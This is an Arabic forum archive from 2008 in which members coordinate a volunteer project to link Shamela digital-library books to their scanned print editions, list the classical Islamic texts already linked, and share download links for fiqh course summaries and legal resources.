ـ[الطيماوي]ــــــــ[04 - 10 - 08, 02:07 م]ـ
السلام عليكم ورحمة الله وبركاته
هذا الجهد الطيب المبارك، وأسأل الله تعالى أن يعينكم ويوفقكم لكل خير
أخي: حولت كتاب تحرير التقريب عن طريق القارئ الآلي بدقة عالية
وبقي أن تتم مقابلته على المصور، مع العلم أنني طابقت الصفحات كلها من المجلدات الأربعة
وطريقة المقابلة أصبحت متيسرة جداً من داخل الشاملة
فهل أرسل لكم الكتاب أخي لمقابلته ضمن فريق العمل عندكم؟ ثم ترسله للأخ نافع،
نعم أرسله
ـ[أبو عبد الله المدني]ــــــــ[04 - 10 - 08, 05:24 م]ـ
كثير من الكتب التي اقترحها الأخ أبو سعد موجود في الشاملة
وأحب أن يضيف الطيماوي إلى مشروعه:
عارضة الأحوذي لابن العربي فهو مهم جدا
النوادر والزيادات لابن أبي زيد
البيان والتحصيل لابن رشد الجد
المعيار المعرب للونشريسي
أوجز المسالك للكاندهلوي
شرح الكرماني والعيني على البخاري
موسوعة القواعد الفقهية للبورنو
فهذه الكتب غير متوفرة على شكل نصي بل على شكل مصور
وهناك كتابان مهمان لكن لم يشملهما تقسيمك يتعلقان بالقرآن وعلومه
أحدهما حاشية الشهاب على البيضاوي
والثاني: دراسات في أسلوب القرآن لعضيمة
فلو وُفِّرا على شكل نصي لكان فيهما خير كثير للجميع
وبارك الله فيك وفي فريقك وجعل لكم بكل حرف يُقرأ من هذه الأعمال عشر حسنات
ـ[ابن المنير]ــــــــ[04 - 10 - 08, 07:16 م]ـ
أهم كتابين في مذهب الحنابلة ومنهما يعرف المعتمد في المذهب
1/كشاف القناع
2/شرح منتهى الإرادات
ونسختاهما المستخرجتان من موقع الإسلام أو من جامع الفقه الإسلامي مضبوطتان بالشكل ومصححتان ولكنهما غير موافقتين للمطبوع
وأهم كتاب في الفقه المقارن
المغني لابن قدامة
ونسخته المستخرجة من موقع الإسلام أو من جامع الفقه الإسلامي مضبوطة بالشكل ومصححة ولكنها غير موافقة للمطبوع و أفضل نسخة مطبوعة هي التي بتحقيق الدكتور عبدالله التركي
ـ[ابو عبد الله الهلالى]ــــــــ[04 - 10 - 08, 09:56 م]ـ
كتاب الذخيرة للقرافي
فهو من أعمدة الفقه المالكي
ـ[أبو سعد المصري]ــــــــ[04 - 10 - 08, 10:01 م]ـ
نعم، الكتب التاريخية التي اقترحتها موجودة في الشاملة، ولكنها غير موافقة للمطبوع، واكثرها غير مفهرس، مما يجعل استخدامها لغرض البحث العلمي صعب للغاية.
(يُتْبَع .. اقلب الصفحة)
(61/401)
ـ[الألخاسي]ــــــــ[05 - 10 - 08, 12:10 ص]ـ
هذه هي أمهات كتب الأصول التي لها نسخة في الشاملة ولها نسخة مصورة، (بعضها يمكن ربطها بالمصور وبعضها لا)
1. الرسالة للشافعي
2. البرهان لإمام الحرمين
3. المستصفى من علم الأصول للغزالي
4. الإحكام في أصول الأحكام لابن جزم
5. المحصول في علم أصول الفقه للرازي
6. الإحكام في أصول الأحكام للآمدي
7. رفع الحاجب عن مختصر ابن الحاجب
8. نهاية السول في شرح منهاج الأصول للإسنوي
9. قواطع الأدلة في أصول الفقه للسمعاني
10. جمع الجوامع في أصول الفقه للسبكي
11. روضة الناظر وجنة المناظر لابن قدامة
12. الموافقات للشاطبي
13. إعلام الموقعين لابن قيم الجوزية
14. البحر المحيط في أصول الفقه للزركشي
15. كشف الأسرار عن أصول فخر الإسلام البزدوي
ـ[أبو عبد الله المدني]ــــــــ[05 - 10 - 08, 01:20 ص]ـ
وكتاب العدة للصنعاني الذي رفعته يا أخي -مشكورا- مهم جدا
ـ[الطيماوي]ــــــــ[05 - 10 - 08, 07:19 م]ـ
بانتظار نصح وتوجيه بقية الأخوة
ـ[أبو عبد الله المدني]ــــــــ[08 - 10 - 08, 12:14 ص]ـ
هذا موضوع حقه أن يرفع لأن أعمال أخينا الطيماوي ستعم فائدتها الجميع فهلا ساعد الجميع
ـ[الطيماوي]ــــــــ[08 - 10 - 08, 06:11 م]ـ
بانتظار نصح وتوجيه بقية الأخوة
ـ[ابو عبد الله الهلالى]ــــــــ[11 - 10 - 08, 02:55 م]ـ
كتاب (فتح العزيز شرح الوجيز) للرافعي من أهم كتب الشافعية
ولكن
نسخته في الشاملة ناقصة فلو أكملتموه
بارك الله فيكم وجزاكم الله خيرا
ـ[الطيماوي]ــــــــ[11 - 10 - 08, 04:46 م]ـ
بانتظار نصح وتوجيه بقية الأخوة
ـ[أبو عبد الله المدني]ــــــــ[11 - 10 - 08, 07:52 م]ـ
مع هذا الفتح الجديد لا أولى منه:
نهاية المطلب في دراية المذهب
ـ[الطيماوي]ــــــــ[11 - 10 - 08, 11:42 م]ـ
بانتظار نصح وتوجيه بقية الأخوة(61/402)
مشروع تجميع الكتب التي يمكن ربطها بالمصور، يرجى الدخول والتفاعل بجدية
ـ[أبو عبد الله السني]ــــــــ[04 - 10 - 08, 10:57 ص]ـ
السلام عليكم ورحمة الله وبركاته
هذا مشروع مفيد جداً إخواني أهل الحديث
والهدف منه شاملة كتبها مرتبطة بالكتاب المصور
والمشروع بدأ به الأخ مشرف الشهري وإخوانه
وأخبرنا في الملتقى أن الحجم عندهم صار 200 جيجا
ولصعوبة تبادل مثل هذا الحجم الكبير، أقترح عليه وعلى باقي الإخوة ما يلي:
1 - أن يضع كل من عنده كتب مرتبطة بالمصور قائمة بأسمائها في الملتقى ليربطها كل منا على جهازه، ويوزعها على القريبين منه مكاناً.
2 - أن نتبادل ما ساهم كل منا في موافقته للمصور على الملتقى لينتفع منه إخوانه.
3 - أن نعمل بجدية على هذا ونتيجته بإذن الله مكتبة شاملة هي أدق برنامج في العالم، وأوثق من البرامج التي أخطاؤها كثيرة جداً.
وهاكم قائمة بأسماء الكتب التي ربطتها أنا بالمصور على جهازي في العيد، والربط دقيق مئة بالمئة، أي لا يوجد اختلاف ولا في صفحة واحدة،
--إلا مسند أبي يعلى فالترقيم مشوش في أحد أجزائه في الشاملة.--
القائمة:
أحكام القرآن للطحاوي (321)
إطراف المسند المعتلي بأطراف المسند الحنبلي (852)
الأعلام للزركلي
الإرشادات في تقوية الأحاديث بالشواهد والمتابعات
البدر المنير في تخريج الأحاديث والأثار الواقعة في الشرح الكبير
البرهان في علوم القرآن
الحدائق في المطالب العالية
الخلاصة في أسباب الاختلاف الفقهاء
مسند الدارمي المعروف بسنن الدارمي
الرفع والتكميل للكنوي
القرآن الكريم بدون تشكيل
اللباب في علوم الكتاب
المعجم الأوسط
المفصل في أصول التخريح ودراسة الأسانيد
المنهل الروي لابن جماعة
الموسوعة الفقهية الكويتية
بدائع الصنائع
تاريخ الإسلام للإمام الذهبي
تحرير تقريب التهذيب - من القارئ الآلي بدقة عالية
تحفة الأشراف بمعرفة الأطراف (742)
تغليق التعليق على صحيح البخاري
تفسير ابن أبي زمنين
تقريب التهذيب م م (طيماوي)
تهذيب الكمال للمزي
روح المعاني
زاد المسير
سؤالات السجزي للحاكم م م (405) (طيماوي)
سنن الترمذي - موافق - مع بعض التعليقات المهمة
شرح السنة ـ للإمام البغوى متنا وشرحا
شرح النووي على مسلم موافق للمطبوع
شرح صحيح البخارى ـ لابن بطال (449)
صحيح ابن خزيمة
تعريف اهل التقديس بمراتب الموصوفين بالتدليس
مسند أبي يعلى - ترقيم المجلد الأخير مشوش في الشاملة
مسند أحمد طبعة الرسالة
مسند الطيالسي
مصنف عبد الرزاق
نهاية الاغتباط بمن رمي من الرواة بالاختلاط
فساهم أخي في هذا المشروع، ولو بدعوة، أو اقتراح، أو نصيحة.
وأنا على جهازي أنشأت قسما خاصاً بالكتب المرتبطة مع الكتاب المصور، ولعل الأخ نافع في التحديث المقبل يضيف خدمة (استخراج تقرير بالكتب المرتبطة بالمصور في جميع الأقسام)
وهذه صورة لما فعلت.
ـ[الطيماوي]ــــــــ[04 - 10 - 08, 01:59 م]ـ
أنظر هنا مشكورا فهنا يمكن تعديل القائمة بحيث تبقى متابعة ويمكن التعديل عليها أولا باول
http://www.altemawy.com/new/index_sub.php?scid=100&ids=2&id=307&extra=news&type_base=103&count=1&type=103
ـ[أبو عبد الله السني]ــــــــ[04 - 10 - 08, 10:46 م]ـ
أنظر هنا مشكورا فهنا يمكن تعديل القائمة بحيث تبقى متابعة ويمكن التعديل عليها أولا باول
http://www.altemawy.com/new/index_sub.php?scid=100&ids=2&id=307&extra=news&type_base=103&count=1&type=103
رضي الله عنكم، وبارك فيكم، ونفعكم بما تقدمون، وأسأل الله تعالى أن يسخر لهذا العمل أكبر عدد ممكن من أهل الإخلاص لدينه سبحانه.(61/403)
مشروع تجميع الكتب التي يمكن ربطها بالمصورة
ـ[الطيماوي]ــــــــ[04 - 10 - 08, 02:05 م]ـ
السلام عليكم ورحمة الله وبركاته
هذا مشروع مفيد جداً إخواني أهل الحديث
والهدف منه شاملة كتبها مرتبطة بالكتاب المصور
والمشروع بدأ به الأخ مشرف الشهري وإخوانه
وأخبرنا في الملتقى أن الحجم عندهم صار 200 جيجا
ولصعوبة تبادل مثل هذا الحجم الكبير، أقترح عليه وعلى باقي الإخوة ما يلي:
1 - أن يضع كل من عنده كتب مرتبطة بالمصور قائمة بأسمائها في الملتقى ليربطها كل منا على جهازه، ويوزعها على القريبين منه مكاناً.
2 - أن نتبادل ما ساهم كل منا في موافقته للمصور على الملتقى لينتفع منه إخوانه.
3 - أن نعمل بجدية على هذا ونتيجته بإذن الله مكتبة شاملة هي أدق برنامج في العالم، وأوثق من البرامج التي أخطاؤها كثيرة جداً.
فساهم أخي في هذا المشروع، ولو بدعوة، أو اقتراح، أو نصيحة ..
ملاحظة: القائمة يتم تجديدها أولا بأول وتغيرها أول بأول وفق ما يضيفه الإخوة، وسنسعى لتوفير روابط لكل كتاب نسخة الشاملة ونسخة المصورة إن شاء الله.
قائمة الكتب: أنظر الرابط
http://www.altemawy.com/new/index_sub.php?scid=100&ids=2&id=307&extra=news&type_base=103&count=1&type=103
ـ[الطيماوي]ــــــــ[04 - 10 - 08, 06:56 م]ـ
فساهم أخي في هذا المشروع، ولو بدعوة، أو اقتراح، أو نصيحة ..
ـ[الطيماوي]ــــــــ[05 - 10 - 08, 07:25 م]ـ
فساهم أخي في هذا المشروع، ولو بدعوة، أو اقتراح، أو نصيحة ..
من كان يعلم كتاب كذلك فليكتب هنا اخوتي عنه وسوف نضيفه لصفحة الكتب وفق الترتيب الرقمي المناسب
نحن بانتظار مشاركتكم
ـ[أبوعمرو المصري]ــــــــ[05 - 10 - 08, 08:54 م]ـ
وفقك الله ونفع بكم.
ـ[مشرف الشهري]ــــــــ[07 - 10 - 08, 01:02 ص]ـ
ليس لي من جهد في هذا المشروع المبارك سوى توصيله للإخوان الأفاضل
ـ[خليل إبراهيم]ــــــــ[07 - 10 - 08, 12:38 م]ـ
أخي الفاضل الطيماوي بارك الله فيكم وجعله في ميزان حسناتكم
وفقكم الله لما يحب ويرضى وأتمم على أيديكم كل خير
أعتقد أنك صورت أو وضعت كتاب قصص الأنبياء لعبد الوهاب النجار أبحث عنه بشدة
وكنت قديما اقترحت كتاب حاشية الجمل على الجلالين أتمنى أن يتم تصويره.
ـ[أبو عبد الله السني]ــــــــ[07 - 10 - 08, 10:53 م]ـ
فساهم أخي في هذا المشروع، ولو بدعوة، أو اقتراح، أو نصيحة ..
من كان يعلم كتاب كذلك فليكتب هنا اخوتي عنه وسوف نضيفه لصفحة الكتب وفق الترتيب الرقمي المناسب
نحن بانتظار مشاركتكم
أخي الحبيب صار التقسيم هكذا:
1 - قسم باسم (مرتبط بالكتاب المصور من الموقع الرسمي)
وفيه الكتب المنزلة من الموقع الرسمي.
2 - قسم باسم: (مرتبط بالكتاب المصور زيادات)
وفيه:
إطراف المسند المعتلي بأطراف المسند الحنبلي (852)
الأعلام للزركلي (1396)
الأنساب للسمعاني (562)
البدر المنير في تخريج الأحاديث والأثار الواقعة في الشرح الكبير (804)
البرهان في علوم القرآن (794)
التحرير والتنوير ـ الطبعة التونسية (1393)
الحدائق في المطالب العالية (521)
الخلاصة في أسباب الاختلاف الفقهاء
الرفع والتكميل للكنوي
القرآن الكريم بدون تشكيل
القرآن الكريم مرتبط بتفسير الجلالين
اللباب في علوم الكتاب (775)
المحرر الوجيز في تفسير الكتاب العزيز (542)
المعجم الأوسط (360)
المفصل في أصول التخريح ودراسة الأسانيد
المنهل الروي لابن جماعة
الموسوعة الفقهية الكويتية
بدائع الصنائع (587)
تاريخ الإسلام للإمام الذهبي (748)
تحرير تقريب التهذيب - من القارئ الآلي بدقة عالية
تحفة الأشراف بمعرفة الأطراف (742)
تعريف اهل التقديس بمراتب الموصوفين بالتدليس (852)
تغليق التعليق على صحيح البخاري (852)
تفسير ابن أبي زمنين (399)
تفسير البحر المحيط (745)
تقريب التهذيب م م (852)
تهذيب الكمال للمزي (742)
روح المعاني (1270)
زاد المسير (597)
سؤالات السجزي للحاكم م م (405)
سنن البيهقى (458)
سنن الترمذي - موافق - مع بعض التعليقات المهمة (279)
سير أعلام النبلاء طبعة الرسالة دون السيرة (748)
شرح السنة ـ للإمام البغوى متنا وشرحا
شرح النووي على مسلم موافق للمطبوع (676)
شرح صحيح البخارى ـ لابن بطال (449)
صحيح ابن خزيمة (311)
فتح الباري لابن حجر - دار المعرفة (852)
مسند أبي يعلى - ترقيم المجلد الأخير مشوش في الشاملة
مسند أحمد طبعة الرسالة (241)
مسند الدارمي المعروف بسنن الدارمي
مسند الطيالسي
مصنف عبد الرزاق (211)
معجم الصحابة لابن قانع (351)
نهاية الاغتباط بمن رمي من الرواة بالاختلاط (841)
فما رأيكم بالتقسيم الجديد، ونعتمده دائماً.
والسبب في هذا التقسيم أن كتب الموقع الرسمي لا تقبل أي تغيير على الاسم أو على البطاقة، فلتبق كما هي، ولنا قسم خاص بما نضيفه نحن، فما رأيكم أخي.
وبالنسبة لتحرير التقريب، هل أرسل لكم الكتاب لمقابلته، فدقته عالية، وهو أكثر كتاب أحوله عن طريق القارئ الآلي صواباً؟
(يُتْبَع .. اقلب الصفحة)
(61/404)
ـ[الطيماوي]ــــــــ[08 - 10 - 08, 06:40 م]ـ
أرسلت لك رسالة على الخاص فيها أمر سيسرك ويسهل عليك الأمر فاحرص عليه
ـ[أبو عبد الله السني]ــــــــ[21 - 10 - 08, 09:36 م]ـ
السلام عليكم ورحمة الله وبركاته
الكتب المرتبطة فعلاً على جهازي 69 كتاب، وأكثرها من الأمهات، والعمل جارٍ على حال حسن بتوفيق الله تعالى.
انظر هنا
http://www.altemawy.com/new/index_sub.php?scid=100&ids=2&id=307&extra=news&type_base=103&count=1&type=103
ـ[الطيماوي]ــــــــ[21 - 10 - 08, 11:49 م]ـ
بارك الله فيك واصل أخي الحبيب
ـ[الطيماوي]ــــــــ[22 - 10 - 08, 01:30 ص]ـ
هذه قائمة سريعة بما هو مربوط على جهازي منها وأنا دائما أميزها بـ م م
ـ م م المعجم الوسيط
م م - التحرير والتنوير
التعليقات الرضية م م
الحكم الجديرة بالإذاعة ـ م م
م م ـ الخلاصة في علم الجرح للشحود
م م ـ الرحلة في طلب الحديث
م م - السلسلة الضعيفة للالباني
م م - السنن الكبرى للبيهقي
م م - الضعفاء الكبير
م م - الضعفاء لأبي نعيم
م م ـ الضعفاء والمتروكين لابن الجوزي
م م - العلو والنزول لابن القيسراني
م م - العواصم من القواصم
م م ـ المؤتلف والمختلف
م م ـ المتكلمون في الرجال
م م ـ المجروحين لابن حبان
م م - المحرر في الحديث
م م ـ المدلسين ـ أبو زرعة
م م ـ المفصل في أصول التخريج للشحود
م م - المنتخب من علل الخلال
م م ـ الموسوعة الكويتية الفقهية
م م ـ النبأ العظيم
تاج العروس ـ م م
تاريخ ابن معين رواية ابن محرز ـ م م
تاريخ ابن معين رواية الدوري ـ م م
تاريخ خليفة بن خياط ـ م م
تاريخ دمشق م م
تحفة الأشراف ـ م م
تدريب الراوي ـ م م
ترائي الهلال ـ م م
تصحيح الحديث عند ابن الصلاح ـ م م
تغليق التعليق ـ م م
تفسير البحر المحيط ـ م م
تفسير الزمخشري ـ م م
تفسير الطبري ـ م م
تقريب التهذيب ـ م م
تهذيب الكمال ـ م م
تهذيب اللغة ـ م م
ثقات ابن حبان ـ م م
جزء أبي الطاهر ـ م م
جزء ابن جريج ـ م م
جزء لؤلؤ ـ م م
جزء نضر الله ـ م م
حكم التمثيل م م
حلية الأولياء لأبي نعيم ـ م م
خلاصة التأصيل ـ م م
دقائق التفسير ـ م م
دلائل الإعجاز ـ م م
ذكر المدلسين ـ م م
ذكر من يعتمد قوله في الجرح والتعديل ـ م م
ذم من لا يعمل بعلمه ـ م م
ذيل ميزان الاعتدال ـ م م
رؤية الله لابن النحاس ـ م م
روح المعاني ـ م م
زاد المسير ـ م م
زوائد مسند الحارث ـ م م
سؤالات ابن الجنيد ـ م م
سؤالات الأثرم لأحمد ـ م م
سؤالات الحاكم للدارقطني ـ م م
سؤالات السجزي للحاكم ـ م م
سؤالات السلفي لخميس ـ م م
سؤالات حمزة السهمي للدارقطني ـ م م
سنن أبي داود ـ م م
سنن ابن ماجة ـ م م
سنن الترمذي ـ م م
سنن الدارقطني ـ م م
سنن الدارمي ـ م م
سنن النسائي ـ م م
سنن سعيد بن منصور ـ م م
شرح أصول الاعتقاد ـ م م
شرح النووي على مسلم م م
شعار أصحاب الحديث ـ م م
صحيح ابن حبان ـ م م
صحيح ابن خزيمة ـ م م
صحيح البخاري ـ م م
صحيح مسلم ـ م م
طبقات الشافعية الكبرى ـ م م
طبقات المدلسين ـ ابن حجر م م
عروس الأجزاء ـ م م
علل أحمد رواية المروذي ـ م م
غريب الحديث لابن سلام ـ م م
فتح الباري لابن حجر ـ م م
فضل الرمي وتعليمه ـ م م
قاعدة في الجرح والتعديل ـ م م
قاعدة في المؤرخين ـ السبكي ـ م م
قطعة من المعجم الكبير ـ م م
كنز العمال ـ م م
المستدرك على الصحيحين ـ م م
الوافي بالوفيات م م
تفسير ابن عطية المحرر الوجيز ـ م م
م م ـ الأنساب للسمعاني
م م ـ الصحاح تاج اللغة للجوهري
م م ـ جزء ابن عمشليق
م م ـ دراسة نقدية في المرويات في شخصية عمر بن الخطاب
م م ـ فقه النوازل ـ بكر أبو زيد (1429)
م م - آل رسول الله وأولياؤه
م م - أحاديث الشاموخي
م م - أحكام القرآن ـ الطحاوي (321)
م م - أحكام قيام الليل ـ العلوان
م م - أسرار ترتيب القرآن
م م - أسماء المدلسين
م م - أطراف مسند أحمد
م م - أمارات النبوة
م م - أمالي ابن الأنباري
م م - إتحاف الخيرة المهرة للبوصيري
م م - إثبات عذاب القبر ـ البيهقي
م م - إحياء علوم الدين
م م - إرواء الغليل ـ الألباني
م م - إصلاح المال
م م - إعانة المستفيد بشرح كتاب التوحيد
م م - إكرام الضيف
م م - الأحاديث الطوال للطبراني
م م - الأحرف السبعة لأبي عمر الداني
م م - الأربعون النووية
م م - الأربعين في التصوف
(يُتْبَع .. اقلب الصفحة)
(61/405)
م م - الأسئلة والأجوبة الفقهية
م م - الأصول من علم الأصول (1421)
م م - الأم للشافعي
م م - الأمالي والقراءة
م م - الأوائل للطبراني
م م - الأولياء لابن أبي الدنيا
م م - الإرشادات في تقوية الأحاديث بالشواهد والمتابعات
م م - الإسلام واليهودية
م م - الإيمان ـ ابن مندة
م م - الإيمان لابن أبي شيبة
م م - الاغتباط بمن رمي بالاختلاط
م م - البدر المنير في تخريج أحاديث الشرح الكبير
م م - البرهان في علوم القرآن
م م - التاريخ الكبير للبخاري
م م - الثبات عند الممات
م م - الجرح والتعديل
م م - الجمل في النحو
م م - الجواب الصحيح
م م - الجوهر النقي لابن التركماني
م م - الحجة في القراءات السبع
م م - الخراج ليحيى بن آدم
م م - الدعاء للطبراني
م م - الديباج على مسلم للسيوطي
م م - الزاهر في معاني كلمات الناس
م م - السنن الكبرى للنسائي
م م - السنن الواردة في الفتن - أبو عمرو الداني
م م - العبر في خبر من غبر
م م - العجالة في الأحاديث المسلسلة
م م - العمل الصالح - سامي محمد
م م - الغرباء ـ الآجري
م م - الكاشف للذهبي
م م - الكنى والأسماء للدولابي
م م - المجالسة وجواهر العلم (333)
م م - المستدرك على مجموع الفتاوى
م م - المعجم الصغير للطبراني
م م - الملخص في شرح كتاب التوحيد
م م - النهاية في غريب الحديث
م م - بيان الوهم والإيهام في كتاب الأحكام (628)
م م - تنقيح التحقيق في أحاديث التعليق (744)
م م - توضيح المقاصد والمسالك بشرح ألفية ابن مالك (749)
م م - روضة الطالبين للنووي
م م - شرح ابن عقيل (769)
م م - شرح السنة للبغوي
م م - شرح سنن أبي داود للعيني
م م - شرح سنن ابن ماجة لمغلطاي
م م - شرح صحيح البخارى / ابن بطال
م م - علم أصول الفقه (1375)
م م - فضيلة الشكر لله على نعمته ـ الخرائطي
م م - مصنف ابن أبي شيبة
م م -التمهيد لابن عبد البر
م م -العلل لابن المديني
م م -العلل للدارقطني
م م -العلل ومعرفة الرجال
م م أحوال الرجال
م م الرسالة للشافعي
م م عون المعبود
م م- أسد الغابة
م م- االمعجم الأوسط ـ
م م- التبيين لأسماء المدلسين
م م- الزهد الكبير
م م- الصارم المسلول
م م- الكرم والجود + حديث ابن العسكري
م م- الكشف الحثيث
م م- المعجم الكبير
م م- المعرفة والتاريخ
م م- الهواتف
م م- معنى الزهد وصفة الزاهدين
مسائل ابن أبي شيبة عن شيوخه ـ م م
مسند أبي حنيفة م م
مسند أحمد ـ م م
مسند ابن الجعد ـ م م
مسند الشاميين ـ م م
مسند الطيالسي ـ م م
مسند بلال بن رباح ـ م م
مسند عبد بن حميد ـ م م
مصنف عبد الرزاق م م
م م ـ معجم مقاييس اللغة لابن فارس
مقاييس اللغة م م
موارد الظمآن ـ م م
موطأ مالك ـ م م
ميزان الاعتدال ـ م م
نسخة وكيع ـ م م
ـ[أبو عبد الله السني]ــــــــ[22 - 10 - 08, 12:01 م]ـ
أخي الحبيب:
بارك الله فيكم ونفعكم بما تقدمون.
فكرة جديدة:
لماذا لا نضع الكتب في بالصورة التالية
اسم الكتاب
رابط الكتاب للشاملة مع بطاقته .................... رابط الكتاب Pdf مع بطاقته
والسبب في هذا أننا أحياناً نغير في صفحات بعض الكتب في كتاب الشاملة بسبب خطأ في الترقيم، أو زيادة أو تكرار صفحات خطأً، أو
وأحياناً نغير في صفحات المصور، فنزيد صفحات فارغة، أو نحذف صفحات زائدة، ليتوافق المصور مع كتاب الشاملة توافقاً تاماً.
ويحمل الإخوة ما يحتاجونه من الكتب، للشاملة مع الموافق لها، جاهزة للربط، ريثما يتم إيجاد طريقة للربط تحفظ فيها الشاملة مسار الربط، ويكتفي المستخدم بوضع المصور في مجلد الربط فقط، وتتعرف الشاملة عليه تلقائياً.
ـ[الطيماوي]ــــــــ[22 - 10 - 08, 01:47 م]ـ
لا بأس فلتباشر ذلك وأعينك بما أستطيع
ـ[محمود الشويحى]ــــــــ[22 - 10 - 08, 03:10 م]ـ
أخي الحبيب:
بارك الله فيكم ونفعكم بما تقدمون.
فكرة جديدة:
لماذا لا نضع الكتب في بالصورة التالية
اسم الكتاب
رابط الكتاب للشاملة مع بطاقته .................... رابط الكتاب Pdf مع بطاقته
والسبب في هذا أننا أحياناً نغير في صفحات بعض الكتب في كتاب الشاملة بسبب خطأ في الترقيم، أو زيادة أو تكرار صفحات خطأً، أو
وأحياناً نغير في صفحات المصور، فنزيد صفحات فارغة، أو نحذف صفحات زائدة، ليتوافق المصور مع كتاب الشاملة توافقاً تاماً.
ويحمل الإخوة ما يحتاجونه من الكتب، للشاملة مع الموافق لها، جاهزة للربط، ريثما يتم إيجاد طريقة للربط تحفظ فيها الشاملة مسار الربط، ويكتفي المستخدم بوضع المصور في مجلد الربط فقط، وتتعرف الشاملة عليه تلقائياً.
الفكرة سديدة ونتمنى الرفع بهذه الطريقة فكثير من الكتب تم رفعها من قبل وتم تحميلها أيضا وهذا الخيار يتيح ميزة عدم التكرار كما يتيح الانتقاء والاختيار(61/406)
أصول في البدع والسنن-محمد العدوي pdf
ـ[محمد نور الدين الشامي]ــــــــ[04 - 10 - 08, 03:15 م]ـ
السلام عليكم ورحمة الله
كتاب جميل للشيخ محمد العدوي جمع فيه 11 أصل في أصول السنن والبدع
طبع المكتب الإسلامي
عدد الصفحات 134
الكتاب في المرفقات
ـ[أبو الحسن السلفي]ــــــــ[04 - 10 - 08, 04:24 م]ـ
جزاك الله خيرا
ـ[أبو محمد المرقال]ــــــــ[08 - 10 - 08, 09:29 م]ـ
جزاك الله خيرا ونفع بك
ـ[منير الجزائري]ــــــــ[11 - 10 - 08, 12:40 ص]ـ
بارك الله في الجميع
ـ[عبد الرحمن أبو عبد الله]ــــــــ[11 - 10 - 08, 03:33 م]ـ
جزاك الله خيرا
ـ[أبو إبراهيم ابن أحمد]ــــــــ[29 - 10 - 10, 11:19 م]ـ
جزاكم الله خيرا(61/407)
الأنظمة السعودية pdf
ـ[عمر القاضي]ــــــــ[04 - 10 - 08, 07:45 م]ـ
هنا
www.boe.gov.sa/saudilaws1.html
وهنا
www.ncda.gov.sa/Detail.asp?InSectionID=1711&InTemplateKey=Homepage
ولايغني أحدهما عن الآخر
ـ[عمر القاضي]ــــــــ[04 - 10 - 08, 08:09 م]ـ
ملحوظة
الرابط الثاني لايعمل على متصفح فايرفوكس(61/408)
طلب كتب
ـ[أبو عبدالعزيز الجهني]ــــــــ[04 - 10 - 08, 08:28 م]ـ
يا أخوة بارك الله فيكم جميعا
هل من سبيل على الشبكة لهذه الكتب؟
1 - مصاعد النظر في مقاصد السور للبقاعي طبع مكتبة المعارف او اي طبعة اخرى وورد او بي دي اف
2 - دلائل النظام للفراهي
3 - تفسير الفراهي لبعض سور القرآن
4 - علم الجذل في علم الجدل لابن الطوفي
جزى الله خيرا من اعان على نشر الخير
ـ[أبو عبدالعزيز الجهني]ــــــــ[10 - 10 - 08, 03:33 ص]ـ
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
ـ[مشرف الشهري]ــــــــ[10 - 10 - 08, 01:38 م]ـ
http://www.google.com.sa/cse?cx=partner-pub-5610395403523893%3A15l8n332pn3&q=%E3%D5%C7%DA%CF+%C7%E1%E4%D9%D1+%DD%ED+%E3%DE%C7 %D5%CF+%C7%E1%D3%E6%D1+%E1%E1%C8%DE%C7%DA%ED&sa=%C8%CD%CB
ـ[مشرف الشهري]ــــــــ[10 - 10 - 08, 01:39 م]ـ
http://www.ahlalhdeeth.com/vb/archive/index.php/t-133787.html
ـ[مشرف الشهري]ــــــــ[10 - 10 - 08, 01:41 م]ـ
http://www.ahlalhdeeth.com/vb/showthread.php?p=824229
ـ[يونس1]ــــــــ[10 - 10 - 08, 06:00 م]ـ
قد تفيد هذه الصفحة.
http://mmf-4.com/vb/showthread.php?t=158
ـ[الطيماوي]ــــــــ[10 - 10 - 08, 06:54 م]ـ
لعل الله ييسر أمر الحصول على هذا
تفسير الفراهي لبعض سور القرآن(61/409)
[للتحميل] تطبيق القواعد الفقهية على مسائل التخدير المعاصرة
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 01:36 ص]ـ
تطبيق القواعد الفقهية على مسائل التخدير المعاصرة
إعداد
د. عبد السلام بن إبراهيم بن محمد الحصين
أستاذ أصول الفقه المساعد في كلية الشريعة بالأحساء
التحميل: من هنا ( http://www.t-elm.com/alhusayen/docs/altakder-w.doc) مباشر، أو في المرفقات
ـ[أبو أحمد السكندرى]ــــــــ[05 - 10 - 08, 06:15 ص]ـ
بارك الله فيك
ـ[أبو عبدالرحمن مصطفي]ــــــــ[05 - 10 - 08, 01:46 م]ـ
جزاك الله خيراً
ـ[ابو ز كريا الجزا ئري]ــــــــ[05 - 10 - 08, 02:02 م]ـ
بلرك الله فيك و جزاك الله خيرا
ـ[منير الجزائري]ــــــــ[25 - 01 - 09, 03:26 ص]ـ
بارك الله فيكم وفي جهودكم
ـ[إبراهيم حسين]ــــــــ[25 - 01 - 09, 10:17 ص]ـ
جزاك الله خيرا وبارك في جهودكم المشكورة(61/410)
[للتحميل] الملخص لمادتي القواعد والنظريات الفقهية ( word)
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 02:10 ص]ـ
الملخص لمادتي القواعد والنظريات الفقهية ( word)
التحميل: من هنا ( http://www.kau.edu.sa/maalharthi/short231.doc) مباشر، أو في المرفقات
ـ[أبو أحمد السكندرى]ــــــــ[05 - 10 - 08, 06:13 ص]ـ
بارك الله فيك
ـ[ابو ز كريا الجزا ئري]ــــــــ[05 - 10 - 08, 03:27 م]ـ
بارك الله فيك هل هذه ملخصات لمقرر جامعة لأني بحاجة لملخصات أخرى في مواد مقررة
كالفقه الجنائي المقاصد الشركات فقه البيوع من كتاب بداية المجتهد و نهاية المقتصد
أرجو ان تفيدنا بمافتح الله عليك
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 03:51 م]ـ
بارك الله فيك هل هذه ملخصات لمقرر جامعة لأني بحاجة لملخصات أخرى في مواد مقررة
كالفقه الجنائي المقاصد الشركات فقه البيوع من كتاب بداية المجتهد و نهاية المقتصد
أرجو ان تفيدنا بمافتح الله عليك
الرابط المباشر:
http://www.kau.edu.sa/maalharthi/short231.doc
يشير إلى جامعة الملك عبد العزيز، موقع الدكتور مازن عبد العزيز الحارثي، أستاذ الفقه المساعد
وتفضل ما يتوفر:
تحميل ملخص مادة فقه العقوبات
http://www.kau.edu.sa/maalharthi/short338.doc
تحميل ملخص مادة الثقافة الاسلامية
http://www.kau.edu.sa/maalharthi/short101.doc
أو انظر المرفقات
